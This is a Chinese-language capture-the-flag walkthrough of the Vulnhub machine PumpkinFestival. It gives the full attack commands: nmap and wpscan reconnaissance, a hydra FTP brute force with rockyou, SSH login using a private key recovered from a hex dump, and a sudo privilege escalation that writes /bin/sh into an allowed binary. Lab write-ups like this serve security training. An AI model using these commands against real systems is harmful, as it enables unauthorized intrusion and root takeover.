Vulnhub靶机-PumpkinFestival

一、信息收集

1.主机发现

sudo arp-scan -l

2.扫描详细信息

nmap -p- -sC -sT -sV -A 192.168.127.156

二、渗透

1. ftp登录

远程登录ftp

ftp 192.168.127.156

看到有文件token.txt

下载查看

得到令牌

令牌一

2d6dbbae84d724409606eddd9dd71265

2. 查看网站

访问网站：http://192.168.127.156

有一个关键字，可能有用

Alohomera！

查看网页源代码，发现第二个令牌

令牌二

45d9ee7239bc6b0bb21d3f8e1c5faa52

扫描目录

nmap -p80 -A 192.168.127.156

访问查看

需要修改本地hosts文件之后进行访问，添加pumpkins.local到hosts文件之后访问。

chmod 600 /etc/hosts
vim /etc/hosts

访问域名pumpkins.local

发现无法访问，解决办法：修改主机host

访问成功，发现第三个令牌

令牌三

06c3eb12ef2389e2752335beccfb2080

扫描目录时发现了tokens，访问查看

这个目录应该是有东西的，尝试访问token.txt

找到第四个令牌

令牌四

2c0e11d2200e2604587c331f02a7ebea

有一个WordPress网站在南瓜下运行，本地域名，尝试wpscan

wpscan --url http://pumpkins.local -e at -e ap -e u

得到一个名为readme.html的文件。

得到了两个用户名admin & morse为WordPress网站，访问网站

http://pumpkins.local/readme.html

K82v0SuvV1En350M0uxiXVRTmBrQIJQN78s

得到一串代码，解密

https://gchq.github.io/CyberChef/

这是一串base62编码

解码得到密码 Ug0t!TrIpyJ

用户 morse 和 jack

登录wp-admin —— http://pumpkins.local/wp-admin

在这里发现了第五个令牌

令牌五

7139e925fd43618653e51f820bc6201b

登录名为admin的wp-admin用户，在得到令牌二的时候获取到一个关键字 Alohomora! ，可能是admin的密码

成功登录

得到第六个令牌

令牌六

f2e00edc353309b40e1aed18e18ab2c4

扫描pumpkins.local目录

访问查看license.txt

得到第七个令牌

令牌七

5ff346114d634a015ce413e1bc3d8d71

目前位置，共有四个管理员：admin, morse, jack, harry

但是只有三个用户的密码，使用hydra破解harry的密码

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.127.156 ftp -e nsr

得到密码：yrrah

ftp登录

ftp 192.168.127.156
ls
get token.txt
exit
cat token.txt

得到第八个令牌

令牌八

ba9fa9abf2be9373b7cbd9a6457f374e

ftp登录后除token.txt外还有一个目录Donotopen，查看目录

cd Donotopen
ls

有一个NO目录，继续访问，经过多次遍历，找到token.txt

得到令牌九

令牌九

f9c5053d01e0dfc30066476ab0f0564c

在上面的目录中除token.txt之外，还有一个NOOOOO目录，继续访问

发现data文件

查看文件发现乱码，查看文件类型

file data.txt

发现这是一个tar压缩包

tar vxf data.txt
tar xjf data
tar vxf key
cat jack

发现是一个十六进制文件

使用xxd将hexdump转换并打补丁为二进制文件

xxd -r -p jack

得到一个ssh私钥，新建文件sshkey将私钥复制进去,

修改权限然后登录jack账户,ssh端口为6880，使用该密钥ssh登录目标主机

chmod 600 sshkey
ssh jack@192.168.127.156 -i sshkey -p 6880

kali不成功

本机尝试，在本机ftp登录靶机，拿到data，解压，解密到key（2）文件，然后ssh登录

ssh -i "key(2)" -p 6880 jack@192.168.127.156 

成功登录

file token

拿到第十个令牌

./token

令牌十

8d66ef0055b43d80c34917ec6c75f706

3.提权

sudo -l

用户jack的密码是Ug0t!TrIpyJ

jack 对alohomora文件具有sudo权限，但是我们的路径上看不到pumpkins目录

新建一个pumpkins目录

mkdir pumpkins

使用 echo 命令创建一个名为alohomora的文件，其中复制了/bin/bash。并赋予权限

echo "/bin/sh" > /home/jack/pumpkins/alohomora
chmod 777 /home/jack/pumkins/alohomora
sudo ./alohomora

切换到root根目录下，得到最终大奖PumpkinFestival_Ticket

cd /root
ls 
cat PumpkinFestival_Ticket